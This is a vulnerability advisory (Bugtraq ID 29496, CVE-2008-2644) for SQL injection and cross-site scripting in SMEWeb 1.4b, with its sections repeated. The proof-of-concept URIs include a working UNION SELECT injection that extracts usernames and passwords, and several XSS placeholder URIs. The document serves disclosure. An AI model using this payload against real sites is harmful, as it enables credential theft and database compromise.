SMEWeb SQL Injection and Multiple Cross-Site Scripting Vulnerabilities
BID:29496
Info
SMEWeb SQL Injection and Multiple Cross-Site Scripting Vulnerabilities
| Bugtraq ID: | 29496 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-2644 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 02 2008 12:00AM |
| Updated: | May 07 2015 05:28PM |
| Credit: | CWH Underground |
| Vulnerable: |
SMEThailand SMEWeb 1.4b |
| Not Vulnerable: | |
Discussion
SMEWeb SQL Injection and Multiple Cross-Site Scripting Vulnerabilities
SMEWeb is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. The attacker may also exploit these issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
These issues affect SMEWeb 1.4b; other versions may also be affected.
SMEWeb is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. The attacker may also exploit these issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
These issues affect SMEWeb 1.4b; other versions may also be affected.
Exploit / POC
SMEWeb SQL Injection and Multiple Cross-Site Scripting Vulnerabilities
An attacker can exploit these issues through a browser. To exploit the cross-site scripting issue, the attacker must entice an unsuspecting user to follow a malicious URI.
The following proof-of-concept URIs are available:
http://www.example.com/catalog.php?idp=1'union select 1,2,password,username,5,6,7,8 from smeweb_user where userid=1 ORDER BY counter/*
http://www.example.com/catalog.php?data=<XSS>
http://www.example.com/search.php?keyword=<XSS>
http://www.example.com/bb.php?page=<XSS>
http://www.example.com/order.php?new_s=<XSS>
An attacker can exploit these issues through a browser. To exploit the cross-site scripting issue, the attacker must entice an unsuspecting user to follow a malicious URI.
The following proof-of-concept URIs are available:
http://www.example.com/catalog.php?idp=1'union select 1,2,password,username,5,6,7,8 from smeweb_user where userid=1 ORDER BY counter/*
http://www.example.com/catalog.php?data=<XSS>
http://www.example.com/search.php?keyword=<XSS>
http://www.example.com/bb.php?page=<XSS>
http://www.example.com/order.php?new_s=<XSS>
Solution / Fix
SMEWeb SQL Injection and Multiple Cross-Site Scripting Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
SMEWeb SQL Injection and Multiple Cross-Site Scripting Vulnerabilities
References:
References: